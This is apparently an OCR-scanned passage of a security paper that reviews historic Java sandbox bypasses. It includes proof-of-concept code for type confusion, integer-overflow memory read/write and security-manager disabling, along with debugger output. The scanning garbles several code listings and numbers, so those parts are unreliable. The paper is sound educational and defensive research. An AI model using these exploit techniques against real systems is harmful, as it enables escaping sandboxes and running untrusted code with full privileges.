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--[ 1 - Introduction

The Java platform is broadly deployed on billions of devices, from servers
and desktop workstations to consumer electronics. It was originally
designed to implement an elaborate security model, the Java sandbox, that
allows for the secure execution of code retrieved from potentially
untrusted remote machines without putting the host machine at risk.
Concretely, this sandboxing approach is used to secure the execution of
untrusted Java applications such as Java applets in the web browser.
Unfortunately, critical security bugs -- enabling a total bypass of the
sandbox -- affected every single major version of the Java platform since
its introduction. Despite major efforts to fix and revise the platform's
security mechanisms over the course of two decades, critical security

vulnerabilities are still being found.

In this work, we review the past and present of Java insecurity. Our goal
is to provide an overview of how Java platform security fails, such that we
can learn from the past mistakes. All security vulnerabilities presented
here are already known and fixed in current versions of the Java runtime,
we discuss them for educational purposes only. This case study has been
made in the hope that we gain insights that help us design better systems

in the future.

--[ 2 - Background

----[ 2.1 - A Brief History of Java Sandbox Exploits

The first version of Java was released by Sun Microsystems in 1995 [2]. One
year later, researchers at Princeton University identified multiple flaws
enabling an analyst to bypass the sandbox [3]. The authors identified
weaknesses in the language, bytecode and object initialization, to name a
few, some of them still present in Java at the time of writing. It is the
first time a class spoofing attack against the Java runtime has been
detailed. A few years later, in 2002, The Last Stage of Delirium (LSD)



research group presented their findings on the security of the Java virtual
machine [29]. They detailed vulnerabilities affecting, among others, the
bytecode verifier and class loaders leading to type confusion or class
spoofing attacks. In 2010, Koivu was the first to publicly show that
trusted method chain attacks work against Java by explaining how to exploit
the CVE-2010-0840 vulnerability he has found [32]. In 2011, Drake described
how to exploit memory corruption vulnerabilities in Java [4]. He explains
how to exploit CVE-2009-3869 and CVE-2010-3552, two stack buffer overflow
vulnerabilities. In 2012, Guillardoy [5], described CVE-2012-4681, two
vulnerabilities allowing to bypass the sandbox. The first vulnerability
gives access to restricted classes and the second allows to modify private
fields. Also in 2012, Oh described how to exploit the vulnerability of
CVE-2012-0507 to perform a type confusion attack to bypass the Java sandbox
[6]. In 2013, Gorenc and Spelman performed a large scale study of 120 Java
vulnerabilities and conclude that unsafe reflection is the most common
vulnerability in Java but that type confusion is the most common exploited
vulnerability [8]. Still in 2013, Lee and Nie identified multiple
vulnerabilities including a vulnerability in a native method enabling the
bypass of the sandbox [9]. Again in 2013, Kaiser described, among others,
CVE-2013-1438 a trusted method chain vulnerability found by James Forshaw
and CVE-2012-5088 a Java reflection vulnerability found by Security
Explorations. Between 2012 and 2013, security researchers at Security
Explorations discovered more than 20 Java vulnerabilities [7]. Starting in
2014, the developers of main web browsers such as Chrome or Firefox decided
to disable NAPI by default (hence no Java code can be executed by default)
[11] [12]. The attack surface of Java being reduced, it seems that less
research on Java sandbox bypass is being conducted. However, exploits
bypassing the sandbox still pop up once in a while. For instance, in 2018,
Lee describes how to exploit CVE-2018-2826, a type confusion vulnerability
found by XOR19 [18].

----[ 2.2 - The Java Platform

The Java platform can be divided into two abstract components: the Java
Virtual Machine (JVM), and the Java Class Library (3CL).

The JVM is the core of the platform. It is implemented in native code and
provides all the basic functionality required for program execution, such
as a bytecode parser, JIT compiler, garbage collector, and so forth. Due to
the fact that it is implemented natively, it is also subject to the same
attacks like any other native binary, including memory corruption

vulnerabilities such as buffer overflows [1], for example.

The JCL is the standard library that ships together with the JVM. It
comprises hundreds of system classes, primarily implemented in Java, with
smaller portions being implemented natively. As all system classes are
trusted, they are associated with all privileges by default. These
privileges give them full access to any sort of functionality (filesystem
read/write, full access to the network, etc.), and hence full access to the
host machine. Consequently, any security bug in a system class can
potentially be used by analysts to break out of the sandbox.

The main content of this paper is thus separated into two larger sections -
one dealing with memory corruption vulnerabilities, and the other one

focussing on vulnerabilities at the Java level.



----[ 2.3 - The Security Manager

In the code of the JCL, the sandbox is implemented with authorization
checks, most of them being permission checks. For instance, before any
access to the filesystem, code in the JCL checks that the caller has the
right permission to access the filesystem. Below is an example checking the
read permission on a file in class _java.io.FileInputStream_. The
constructor checks that the caller has the read permission to read the

specified file on line 5.

1: public FileInputStream(File file) throws FileNotFoundException {
2 String name = (file != null ? file.getPath() : null);

3 SecurityManager security = System.getSecurityManager();

4 if (security != null) {

5: security.checkRead(name);

6 }

7 if (name == null) {

8 throw new NullPointerException();

9 }
10: if (file.isInvalid()) {
11: throw new FileNotFoundException("Invalid file path");
12: }
13: fd = new FileDescriptor();
14: fd.incrementAndGetUseCount();
15: this.path = name;
16: open(name);

Note that for performance reasons, authorizations are only checked if a
security manager has been set (lines 3-4). A typical attack to escape the
Java sandbox thus aims at setting the security manager to null. This
effectively disables all authorization checks. Without security manager

set, the analyst can execute any code as if it had all authorizations.

However, authorizations are only checked at the Java level. Native code
executes with all authorizations. Although it might be possible to directly
execute arbitrary analyst's controlled native code when exploiting memory
corruption vulnerabilities, in all the examples of this paper we focus on
disabling the security manager to be able to execute arbitrary Java code

with all permissions.

----[ 2.4 - The doPrivileged Method

When a permission "P" is checked, the JVM checks that every element of the
call stack has permission "P". If one element does not have "P", a security
exception is thrown. This approach works fine most of the time. However,
some method m1() in the JCL which does not require a permission to be
called might need to call another method m2() in the JCL which in turn
requires a permission "P2". With the approach above, if method main() in a
user class with no permission calls ml1(), a security exception is thrown by
the JVM, because of the follow-up call to m2() in ml1(). Indeed, during the

call stack walk, mi() and m2() have the required permission, because they



belong to trusted classes in the JCL, but main() does not have the

permission.

The solution is to wrap the call in m1() to m2() inside a doPrivileged()
call. Thus, when "P2" is checked, the stack walk stops at the method
calling doPrivileged(), here mi(). Since mi1() is a method in the JCL, it

has all permissions. Thus, the check succeeds and the stack walk stops.

A real-world example is method unaligned() in _java.nio.Bits_. It deals
with network streams and has to know the architecture of the processor.
Getting this information, however, requires the "get_property" permission
which the user code might not have. Calling unaligned() from an untrusted
class would thus fail in this case due to the permission check. Thus, the
code in unaligned() which retrieves information about the processor
architecture is wrapped in a doPrivileged call, as illustrated below (lines
4-5):

1: static boolean unaligned() {
if (unalignedKnown)
return unaligned;
String arch = AccessController.doPrivileged(

new sun.security.action.GetPropertyAction("os.arch"));

2
3
4
5
6: unaligned = arch.equals("i386") || arch.equals("x86")
7 || arch.equals("amd64") || arch.equals("x86_64");
8 unalignedKnown = true;

9

return unaligned;

When the "get_property" permission is checked, the stack walk checks

methods down to Bits.unaligned() and then stops.
--[ 3 - Memory Corruption Vulnerabilities

----[ 3.1 - Type Confusion

------ [ 3.1.1 - Background

The first memory corruption vulnerability that we describe is a type
confusion vulnerability [13]. Numerous Java exploits rely on a type
confusion vulnerability to escape the sandbox [16] [17] and more recently
[18]. In a nutshell, when there is a type confusion, the VM believes an
object is of type _A_while in reality the object is of type _B_. How can
this be used to disable the security manager?

The answer is that a type confusion vulnerability can be used to access
methods that would otherwise be out of reach for an analyst without
permission. The typical method that an analyst targets is the defineClass()
method of the _ClasslLoader_ class. Why? Well, this method allows to define
a custom class (thus potentially analyst controlled) with all permissions.
The analyst would thus create and then execute his own newly defined class
which contains code to disable the security manager to bypass all

authorization checks.



Method defineClass() is 'protected' and thus can only be called from
methods in class _ClasslLoader_ or a subclass of _ClassLoader_. Since the
analyst cannot modify methods in _ClasslLoader_, his only option is to
subclass _ClassLoader_ to be able to call defineClass(). Instantiating a
subclass of _ClasslLoader_ directly from code with no permission would,
however, trigger a security exception because the constructor of
_ClassLoader_ checks for permission "Create_ClassLoader". The trick is for
the analyst to define a class extending _ClasslLoader_, such as _Help_ class
below, and add a static method with an object of type _Help_ as parameter.
The analyst then retrieves an existing _ClassLoader_ instance from the
environment and uses type confusion to "cast" it to _Help_. With this
approach, the JVM thinks that h of method doWork() (line 4 below) is a
subclass of _ClassLoader_ (while its real type is _ClassLoader_) and thus
the protected method defineClass() becomes available to the analyst (a

protected method in Java is accessible from a subclass).

1: public class Help extends ClassLoader implements

2: Serializable {

3:

4: public static void doWork(Help h) throws Throwable {

5:

6: byte[] buffer = BypassExploit.getDefaultHelper();

7: URL url = new URL("file:///");

8: Certificate[] certs = new Certificate[0];

9: Permissions perm = new Permissions();

10: perm.add(new AllPermission());
11: ProtectionDomain protectionDomain = new ProtectionDomain(
12: new CodeSource(url, certs), perm);
13:
14: Class cls = h.defineClass("DefaultHelper", buffer, 0,
15: buffer.length, protectionDomain);
16: cls.newInstance();
17:
18: }
19: }

More precisely, using a type confusion vulnerability, the analyst can
disable the sandbox in three steps. Firstly, the analyst can retrieve the
application class loader as follows (this step does not require a

permission):

Object cl = Help.class.getClassLoader();

Secondly, using the type confusion vulnerability, he can make the VM think
that object cl is of type _Help_.

Thirdly, he provides h as an argument to the static method doWork() in



_Help_, which disables the security manager.

The doWork() method first loads, but does not yet execute, the bytecode of
the analyst controlled _DefaultHelper_ class in buffer (line 6 in the
listing above). As shown below, this class disables the security manager
within a doPrivileged() block in its constructor. The doPrivileged() block
is necessary to prevent that the entire call stack is checked for

permissions, because main() is part of the call sequence, which has no

permissions.

1: public class DefaultHelper implements PrivilegedExceptionAction<Void> {
2: public DefaultHelper() {

3: AccessController.doPrivileged(this);

4: }

5:

6: public Void run() throws Exception {

7: System.setSecurityManager(null);

8: }

9: }

After loading the bytecode, it creates a protection domain with all
permissions (lines 7-12). Finally, it calls defineClass() on h (line
14-15). This call works because the VM thinks h is of type _Help_. In
reality, h is of type _ClasslLoader_. However, since method defineClass() is
defined in class _ClasslLoader_ as a protected method, the call is
successfull. At this point the analyst has loaded his own class with all
privileges. The last step (line 16) is to instantiate the class to trigger
the call to the run() method which disables the security manager. When the
security manager is disabled, the analyst can execute any Java code as if

it had all permissions.

------ [ 3.1.2 - Example: CVE-2017-3272

The previous section explaind what a type confusion vulnerability is and
how an analyst can exploit it to disable the security manager. This section
provides an example, explaining how CVE-2017-3272 can be used to implement
such an attack.

Redhat's bugzilla [14] provides the following technical details on
CVE-2017-3272:

"It was discovered that the atomic field updaters in the
_java.util.concurrent.atomic_ package in the Libraries component of OpenJ]DK
did not properly restrict access to protected field members. An untrusted
Java application or applet could use this flaw to bypass Java sandbox

restrictions.”

This indicates that the vulnerable code lies in the
_java.util.concurrent.atomic.package_ and that is has something to do with
accessing a protected field. The page also links to the OpenJDK's patch
"8165344: Update concurrency support”. This patch modifies the
_AtomicIntegerFieldUpdater_, _AtomiclLongFieldUpdater_ and

_AtomicReferenceFieldUpdater_ classes. What are these classes used for?



To handle concurrent modifications of fields, Java provides _Atomiclong ,
_AtomicInt_ and _AtomicBoolean_, etc... For instance, in order to create
ten million _long_ fields on which concurrent modifications can be
performed, ten million _AtomiclLong_ objects have to be instantiated. As a
single instance of _AtomiclLong_ takes 24 bytes + 4 bytes for the reference
to the instance = 28 bytes [15], ten million instances of _AtomiclLong_

represent 267 Mib.

In comparison, using _AtomicLongFieldUpdater_ classes, it would have taken
only 10.000.000 * 8 = 76 MiB. Indeed, only the long fields take space.
Furthermore, since all methods in _Atomic*FieldUpdater_ classes are static,
only a single instance of the updater is created. Another benefit of using
_Atomic*FieldUpdater_ classes is that the garbage collector will not have
to keep track of the ten million _AtomiclLong_ objects. However, to be able
to do that, the updater uses unsafe functionalities of Java to retrieve the

memory address of the target field via the _sun.misc.Unsafe_ class.

How to create an instance of a _AtomicReferenceFieldUpdater_ is illustrated
below. Method newUpdater() has to be called with three parameters: tclass,
the type of the class containing the field, vclass the type of the field
and fieldName, the name of the field.

1: public static <U,W> AtomicReferenceFieldUpdater<U,W> newUpdater(
2 Class<U> tclass,

3 Class<W> vclass,

4 String fieldName) {

5 return new AtomicReferenceFieldUpdaterImpl<U,W>

6
7

(tclass, vclass, fieldName, Reflection.getCallerClass());

Method newUpdater() calls the constructor of
_AtomicReferenceFieldUpdaterImpl_ which does the actual work.

: AtomicReferenceFieldUpdaterImpl(final Class<T> tclass,
final Class<V> vclass,
final String fieldName,
final Class<?> caller) {

final Class<?> fieldClass;

1

2

3

4

5: final Field field;
6

7 final int modifiers;
8

9

try {
field = AccessController.doPrivileged(

10: new PrivilegedExceptionAction<Field>() {
11: public Field run() throws NoSuchFieldException {
12: return tclass.getDeclaredField(fieldName);
13: }
14: I3R
15: modifiers = field.getModifiers();
16: sun.reflect.misc.ReflectUtil.ensureMemberAccess(
17: caller, tclass, null, modifiers);

18: ClassLoader cl = tclass.getClassLoader();



19: ClassLoader ccl = caller.getClasslLoader();

20: if ((ccl != null) & (ccl != cl) &&

21: ((cl == null) || !isAncestor(cl, ccl))) {

22: sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass);
23: }

24: fieldClass = field.getType();

25: } catch (PrivilegedActionException pae) {

26: throw new RuntimeException(pae.getException());

27: } catch (Exception ex) {

28: throw new RuntimeException(ex);

29: }

30:

31: if (vclass != fieldClass)

32: throw new ClassCastException();

33:

34: if (!Modifier.isVolatile(modifiers))

35: throw new IllegalArgumentException("Must be volatile type");
36:

37: this.cclass = (Modifier.isProtected(modifiers) &&

38: caller != tclass) ? caller : null;

39: this.tclass = tclass;
40: if (vclass == Object.class)

41: this.vclass = null;

42: else

43: this.vclass = vclass;

44 offset = unsafe.objectFieldOffset(field);
45: }

The constructor first retrieves, through reflection, the field to update
(line 12). Note that the reflection call will work even if the code does
not have any permission. This is the case because the call is performed
within a doPrivileged() block which tells the JVM to allow certain
operations even if the original caller does have the permission (see
Section 2.4). Next, if the field has the protected attribute and the caller
class is not the same as the tclass class, caller is stored in cclass
(lines 37-38). Note that caller is set in method newUpdater() via the call
to Reflection.getCallerClass(). These lines (37-38) are strange since class
caller may have nothing to do with class tclass. We will see below that
these lines are where the vulnerability lies. Next, the constructor stores
tclass, vclass and uses reference unsafe of class _Unsafe_ to get the
offset of field (lines 39-44). This is a red flag as the _Unsafe_ class is
very dangerous. It can be used to directly manipulate memory which should
not be possible in a Java program. If it is directly or indirectly in the
hands of the analyst, it could be used to bypass the Java sandbox.

Once the analyst has a reference to an _AtomicReferenceFieldUpdater_
object, he can call the set() method on it to update the field as
illustrated below:

1: public final void set(T obj, V newValue) {

2 accessCheck(obj);

3: valueCheck(newValue);

4 U.putObjectVolatile(obj, offset, newValue);



5: }

6:

7: private final void accessCheck(T obj) {
8: if (!cclass.isInstance(obj))

9: throwAccessCheckException(obj);
10: }
11:

12: private final void valueCheck(V v) {
13: if (v != null & !(vclass.isInstance(v)))
14: throwCCE();

The first parameter of set(), obj, is the instance on which the reference
field has to be updated. The second parameter, newValue, is the new value
of the reference field. First, set() checks that obj is an instance of type
cclass (lines 2, 7-10). Then, set() checks that newValue is null or an
instance of vclass, representing the field type (lines 3, 12-15). If all
the checks pass, the _Unsafe_ class is used to put the new value at the
right offset in object obj (line 4).

The patch for the vulnerability is illustrated below.

- this.cclass = (Modifier.isProtected(modifiers))

- ? caller : tclass;

+ this.cclass = (Modifier.isProtected(modifiers)

+ && tclass.isAssignableFrom(caller)
+ && !isSamePackage(tclass, caller))
+

? caller : tclass;

As we noticed earlier, the original code is not performing enough checks on
the caller object. In the patched version, the code now checks that tclass
is the same class as, a super-class or a super-interface of caller. How to

exploit this vulnerability becomes obvious and is illustrated below.

: class Dummy {
protected volatile A f;

protected volatile B g;

main() {

m

1
2
3
4:
5: class MyClass {
6
7
8
9

new MyClass();

10: u = newUpdater(Dummy.class, A.class, "f");
11: u.set(m, new A());

12: println(m.g.getClass());

13: }

14: }

First the class _Dummy_ with field f of type _A_ is used to call



newUpdater() (lines 1-3, 9, 10). Then, method set() is called with class
_MyClass_ and new value newVal for the field f of type _A_ on the updater
instance (line 11). Instead of having field f of type _A_, _MyClass_ has
field g of type _B_. Thus, the actual type of g after the call to set() is
_A_ but the virtual machine assumes type _B_. The println() call will print
"class A" instead of "class B" (line 12). However, accessing this instance

of class _A_ is done through methods and fields of class _B_.

______ [ 3.1.3 - Discussion

As mentioned above, the _Atomic*FieldUpdater_ classes have already been
introduced in Java 1.5. However, the vulnerability was only detected in
release 1.8_112 and patched in the next release 1.8_121. By dichotomy
search in the releases from 1.6_ to 1.8 112 we find that the vulnerability
first appears in release 1.8 _92. Further testing reveals that all versions
in between are also vulnerable: 1.8 101, 1.8 102 and 1.8_111. We have also
tested the PoC against the first and last releases of Java 1.5: they are

not vulnerable.

A diff of _AtomicReferenceFieldUpdater_ between versions 1.8_91 (not
vulnerable) and 1.8 _92 (vulnerable) reveals that a code refactoring
operation failed to preserve the semantics of all the checks performed on

the input values. The non-vulnerable code of release 1.8_91 is illustrated

below.
1: private void ensureProtectedAccess(T obj) {
2 if (cclass.isInstance(obj)) {
3 return;
4: }
5: throw new RuntimeException(...
6: }
7
8: void updateCheck(T obj, V update) {
9 if (!tclass.isInstance(obj) ||
10: (update != null && vclass != null
11: && !vclass.isInstance(update)))
12: throw new ClassCastException();
13: if (cclass != null)
14: ensureProtectedAccess(obj);
15: }
16:

17: public void set(T obj, V newValue) {
18: if (obj == null ||

19: obj.getClass() != tclass ||

20: cclass != null ||

21: (newValue != null

22: && vclass != null

23: && vclass != newValue.getClass()))

24: updateCheck(obj, newValue);

25: unsafe.putObjectVolatile(obj, offset, newValue);
26: }

In the non-vulnerable version, if obj's type is different from tclass, the



type of the class containing the field to update, there are potentially two
conditions to pass. The first is that obj can be cast to tclass (lines 9,
12). The second, only checked if the field is protected, is that obj can be

cast to cclass (lines 14, 1-6).

In the vulnerable version, however, the condition is simply that obj can be
cast to cclass. The condition that obj can be cast to tclass is lost.
Missing a single condition is enough to create a security vulnerability

which, if exploited right, results in a total bypass of the Java sandbox.

Can type confusion attacks be prevented? In Java, for performance reasons,
the type _T_ of an object o is not checked every time object o is used.
Checking the type at every use of the object would prevent type confusion
attacks but would also induce a runtime overhead.

----[ 3.2 - Integer Overflow

______ [ 3.2.1 - Background

An integer overflow happens when the result of an arithmetic operation is
too big to fit in the number of bits of the variable. In Java, integers use
32 bits to represent signed numbers. Positive values have values from
0x00000000 (0) to OX7FFFFFFF (2731 - 1). Negative values have values from
0x80000000 (-2731)to OXFFFFFFFF (-1). If value Ox7FFFFFFF (2731 - 1) is
incremented, the result does not represent 2731 but (-2731). How can this

be used to disable the security manager?

In the next section we analyze the integer overflow of CVE-2015-4843 [20].
The integer is used as an index in an array. Using the overflow we can
read/write values outside the array. These read/write primitives are used
to achieve a type confusion attack. The reader already knows from the
description of CVE-2017-3272 above, that the analyst can rely on such an
attack to disable the security manager.

—————— [ 3.2.2 - Example: CVE-2015-4843

A short description of this vulnerability is available on Redhat's Bugzilla
[19]. It shows that multiple integer overflows have been found in Buffers
classes from the java.nio package and that the vulnerability could be used

to execute arbitrary code.

The vulnerability patch actually fixes the file
java/nio/Direct-X-Buffer.java.template used to generate classes of the form
DirectXBufferY.java where X could be "Byte", "Char", "Double", "Int",
"Long", "Float" or "Short" and Y could be "S", "U", "RS" or "RU". "S" means
that the array contains signed numbers, "U" unsigned numbers, "RS" signed
numbers in read-only mode and "RU" unsigned numbers in read-only mode. Each
of the generated classes _C_ wraps an array of a certain type that can be
manipulated via methods of class _C_. For instance, DirectIntBufferS.java
wraps an array of 32 bit signed integers and defines methods get() and
set() to, respectively, copy elements from an array to the internal array
of the DirectIntBufferS class or to copy elements from the internal array
to an array outside the class. Below is an excerpt from the vulnerability

patch:



14: public $Type$Buffer put($type$[] src, int offset, int length) {

15:  #if[rw]
16: - if ((length << $LG_BYTES_PER_VALUE$)

> Bits.JINI_COPY_FROM ARRAY_ THRESHOLD) {
17: + if (((long)length << $LG_BYTES_PER_VALUE$)

> Bits.JINI_COPY_FROM ARRAY THRESHOLD) {
18: checkBounds (offset, length, src.length);
19: int pos = position();
20: int 1im = 1limit();
21: @@ -364,12 +364,16 @@
22:
23: #if[!byte]
24: if (order() != ByteOrder.nativeOrder())
25: - Bits.copyFrom$Memtype$Array(src,

offset << $LG_BYTES_PER_VALUE$,
26: - ix(pos), length << $LG_BYTES_PER_VALUES$);
27: + Bits.copyFrom$Memtype$Array(src,
28: + (long)offset << $LG_BYTES_PER_VALUES$,
29: + ix(pos),
30: + (long)length << $LG_BYTES_PER_VALUES$);
31: else
32: #end[!byte]
33: - Bits.copyFromArray(src, arrayBaseOffset,
offset << $LG_BYTES_PER_VALUE$,

34: - ix(pos), length << $LG_BYTES_PER_VALUES$);
35: + Bits.copyFromArray(src, arrayBaseOffset,
36: + (long)offset << $LG_BYTES_PER_VALUE$,
37: + ix(pos),
38: + (long)length << $LG_BYTES_PER_VALUES$);
39: position(pos + length);

The fix (lines 17, 28, 36, and 38) consists in casting the 32 bit integers
to 64 bit integers before performing a shift operation which, on 32 bit,
might result in an integer overflow. The corrected version of the put()
method extracted from java.nio.DirectIntBufferS.java from Java 1.8 update

65 is below:

354: public IntBuffer put(int[] src, int offset, int length) {
355:

356: if (((long)length << 2) > Bits.INI_COPY_FROM_ARRAY_THRESHOLD) {
357: checkBounds(offset, length, src.length);

358: int pos = position();

359: int 1lim = limit();

360: assert (pos <= 1lim);

361: int rem = (pos <= lim ? 1lim - pos : @);

362: if (length > rem)

363: throw new BufferOverflowException();

364:

365:

366: if (order() != ByteOrder.nativeOrder())

367: Bits.copyFromIntArray(src,

368: (long)offset << 2,



369: ix(pos),
370: (long)length << 2);
371: else

373: Bits.copyFromArray(src, arrayBaseOffset,
374: (long)offset << 2,
375: ix(pos),

376: (long)length << 2);
377: position(pos + length);

378: } else {

379: super.put(src, offset, length);

380: }

381: return this;

This method copies length elements from the src array from the specified
offset to the internal array. At line 367, method Bits.copyFromIntArray()
is called. This Java method takes as parameter the reference to the source
array, the offset from the source array in bytes, the index into the
destination array in bytes and the number of bytes to copy. As the three
last parameters represent sizes and offsets in bytes, they have to be
multiplied by four (shifted by 2 on the left). This is done for offset
(line 374), pos (line 375) and length (line 376). Note that for pos, the
operation is done within the ix() method.

In the vulnerable version, casts to long are not present, which makes the
code vulnerable to integer overflows.

Similarly, the get() method, which copies elements from the internal array
to an external array, is also vulnerable. The get() method is very similar
to the put() method, except that the call to copyFromIntArray() is replaced
by a call to copyToIntArray():

262: public IntBuffer get(int[] dst, int offset, int length) {
263:

[...]

275: Bits.copyToIntArray(ix(pos), dst,

276: (long)offset << 2,
277: (long)length << 2);
[...]

291: }

Since methods get() and put() are very similar, in the following we only
describe how to exploit the integer overflow in the get() method. The
approach is the same for the put() method.

Let's have a look at the Bits.copyFromArray() method, called in the get()

method. This method is in fact a native method:



803: static native void copyToIntArray(long srcAddr, Object dst,
804: long dstPos, long length);

175: INIEXPORT void JNICALL
176: Java_java_nio_Bits_copyToIntArray(JINIEnv *env, jobject this,

177: jlong srcAddr, jobject dst,
jlong dstPos, jlong length)

178: {

179: jbyte *bytes;

180: size_t size;

181: jint *srcInt, *dstInt, *endInt;

182: jint tmpInt;

183:

184: srcInt = (jint *)jlong_to_ptr(srcAddr);

185:

186: while (length > @) {

187: /* do not change this code, see WARNING above */

188: if (length > MBYTE)

189: size = MBYTE;

190: else

191: size = (size_t)length;

192:

193: GETCRITICAL(bytes, env, dst);

194:

195: dstInt = (jint *)(bytes + dstPos);

196: endInt = srcInt + (size / sizeof(jint));

197: while (srcInt < endInt) {

198: tmpInt = *srcInt++;

199: *dstInt++ = SWAPINT(tmpInt);

200: }

201:

202: RELEASECRITICAL(bytes, env, dst, 9);

203:

204: length -= size;

205: srcAddr += size;

206: dstPos += size;

207: }

208: }

We notice that there is no check on the array indices. If the index is less
than zero or greater or equal to the array size the code will run also.
This code first transforms a long to a 32 bit integer pointer (line 184).
Then, the code loops until length/size elements are copied (lines 186 and
204). Calls to GETCRITICAL() and RELEASECRITICAL() (lines 193 and 202) are
used to synchronize the access to the dst array and have thus nothing to do

with checking the index of the array.

To execute this native code three constraints present in the get() Java

method have to be satisfied:



- Constraint 1:

We do not mention the assertion at line 360 since it is only checked if the
"-ea" (enable assertions) option is set in the VM. This is almost never the

case in production since it entails slowdowns.

In the first constraint, INI_COPY_FROM_ARRAY_THRESHOLD represents the
threshold (in number of elements to copy) from which the copy will be done
via native code. Oracle has empirically determined that it is worth calling
native code from 6 elements. To satisfy this constraint, the number of

elements to copy must be greater than 1 (6 >> 2).

The second constraint is present in the checkBounds() method:

564: static void checkBounds(int off, int len, int size) {

566: if ((off | len | (off + len) | (size - (off + len))) < 0)
567: throw new IndexOutOfBoundsException();

568: }

1: offset > @ AND length > @ AND (offset + length) > @
2: AND (dst.length - (offset + length)) > o.

The third constraint checks that the remaining number of elements is less

than or equal to the number of elements to copy:

To simplify, we suppose that the current index of the array is @. The

constraint then becomes:



which is the same as

dst.length = 1209098507
offset = 1073741764
length = 2

With this solution, all the constraints are satisfied, and since there is
an integer overflow we can read 8 bytes (2*4) at a negative index of -240
(1073741764 << 2). We now have a read primitive to read bytes before the
dst array. Using the same technique on the get() method we get a primitive

to write bytes before the dst array.

We can check that our analysis is correct by writing a simple PoC and

execute it on a vulnerable version of the JVM such as Java 1.8 update 60.

1: public class Test {

2:

3: public static void main(String[] args) {

4: int[] dst = new int[1209098507];

5:

6: for (int i = @; i < dst.length; i++) {

7: dst[i] = OxAAAAAAAA;

8: }

9:
10: int bytes = 400;
11: ByteBuffer bb = ByteBuffer.allocateDirect(bytes);
12: IntBuffer ib = bb.asIntBuffer();
13:
14: for (int i = 0; i < ib.limit(); i++) {
15: ib.put(i, ©xBBBBBBBB);
16: }
17:
18: int offset = 1073741764; // offset << 2 = -240
19: int length = 2;
20:
21: ib.get(dst, offset, length); // breakpoint here
22: }
23:
24: }

This code creates an array of size 1209098507 (line 4) and then initializes



all the elements of this array to OxAAAAAAAA (lines 6-8). It then creates
an instance ib of type IntBuffer and initializes all elements of its
internal array (integers) to ©xBBBBBBBB (lines 10-16). Finally, it calls
the get() method to copy 2 elements from ib's internal array to dst with a
negative offset of -240 (lines 18-21). Executing this code does not crash
the VM. Moreover, we notice that after calling get, no element of the dst
array have been modified. This means that 2 elements from ib's internal
array have been copied outside dst. Let's check this by setting a
breakpoint at line 21 and then launching gdb on the process running the
JVM. In the Java code we have used sun.misc.Unsafe to calculate the address
of dst which is 0x20000000.

$ gdb -p 1234

[...]
(gdb) x/10x ©x200000000

0X200000000: 0x00000001 0x00000000 0x3f5c025e 0x4811610b
0x200000010: Oxaaaaaaaa Oxaaaaaaaa Oxaaaaaaaa Oxaaaaaaaa
0x200000020: Oxaaaaaaaa Oxaaaaaaaa

(gdb) x/10x 0x200000000-240

ox1ffffffie: 0x00000000 0x00000000 0XxX00000000 0Xx00000000
ox1ffffff2o: 0x00000000 0x00000000 0Xx00000000 0Xx00000000
ox1ffffff30: 0x00000000 0Xx00000000

With gdb we notice that elements of the dst array have been initialized to
OXAAAAAAAA as expected. The array doest not start by OxAAAAAAAA directly
but has a 16 byte header which contains among other the size of the array
(0x4811610b = 1209098507). For now, there is nothing (only null bytes) 240
bytes before the array. Let's execute the get Java method and check again

the memory state with gdb:

(gdb) ¢

Continuing.

~C

Thread 1 "java" received signal SIGINT, Interrupt.

0x00007fb208ac86cd in pthread_join (threadid=140402604672768,
thread_return=0x7ffec40d4860) at pthread_join.c:90

90 in pthread_join.c

(gdb) x/10x ©x200000000-240

ox1ffffffie: 0x00000000 0x00000000 0x00000000 0x00000000
ox1ffffff20: oxbbbbbbbb @xbbbbbbbb 0x00000000 0x00000000
ox1ffffff3e: 0x00000000 0x00000000

The copy of two elements from ib's internal array to dst "worked": they
have been copied 240 bytes before the first element of dst. For some reason
the program did not crash. Looking at the memory map of the process
indicates that there's a memory zone just before 0x20000000 which is rwx:

$ pmap 1234

[...]
000000011Cc2c0000 62720K rwx-- [ anon ]



0000000200000000 5062656K rwx-- [ anon ]
0000000335000000 11714560K rwx-- [ anon ]

[...]

As explained below, in Java, a type confusion is synonym of total bypass of
the sandbox. The idea for vulnerability CVE-2017-3272 is to use the read
and write primitives to perform the type confusion. We aim at having the
following structure in memory:

B[] 18]L]wvvnnnnnnn.. T 1]
ALT 1012121 eee il eeeeeeennnnnnns. |
ANEL] (8] e eeennnnnnnnnns 151....In]

An array of elements of type _B_ just before an array of elements of type
_A_ just before the internal array of an _IntBuffer_ object. The first step
consists in using the read primitive to copy the address of elements of
type _A_ (at index i) inside the internal integer array (at index j). The
second steps consists in copying the reference from the internal array (at
index j) to an element of type _B_ (at index k). Once the two steps are
done, the JVM will think element at index k is of type _B_, but it is
actually an element of type _A_.

The code handling the heap is complex and can change from VM to VM
(Hotspot, JRockit, etc.) but also from version to version. We have obtained
a stable situation where all the three arrays are next to each other for 50
different versions of the JVM with the following array sizes:

1 = 429496729
m=1
n = 858993458

—————— [ 3.2.3 - Discussion

We have tested the exploit on all publicly available versions of Java 1.6,
1.7 and 1.8. All in all 51 versions are vulnerable: 18 versions of 1.6
(1.6_23 to 1.6_45), 28 versions of 1.7 (1.7_0 to 1.7_80) and 5 versions of
1.8 (1.8 05 to 1.8 60).

We have already discussed the patch above: the patched code now first casts
32 bit integers to long before doing the shift operation. This efficiently
prevents integer overflows.

--[ 4 - Java Level Vulnerabilities

----[ 4.1 - Confused Deputy

------ [ 4.1.1 - Background

Confused deputy attacks are a very common type of attack on the Java
platform. Example attacks are the exploits for CVE-2012-5088,



CVE-2012-5076, CVE-2013-2460, and also CVE-2012-4681 which we present in
detail below. The basic idea is that exploit code aims for access to
private methods or fields of system classes in order to, e.g., deactivate
the security manager. Instead of accessing the desired class member
directly, however, the exploit code will perform the access on behalf of a
trusted system class. Typical ways to abuse a system class for that purpose
is by exploiting insecure use of reflection or MethodHandles, i.e., a
trusted system class performs reflective read access to a target field

which can be determined by the analyst.
—————— [ 4.1.2 - Example: CVE-2012-4681

We will have a look at CVE-2012-4681, because this is often referred to by

other authors as an example of a confused deputy attack.

As a first step, we retrieve access to _sun.awt.SunToolkit_ , a restricted

class which should be inaccessible to untrusted code.

1: Expression expr@ = new Expression(Class.class, "forName",
2: new Object[] {"sun.awt.SunToolkit"});
3: Class sunToolkit = (Class)expr.execute().getValue();

This already exploits a vulnerability. Even though we specify
Class.forName() as the target method of the Expression, this method is
actually not called. Instead, _Expression_ implements custom logic
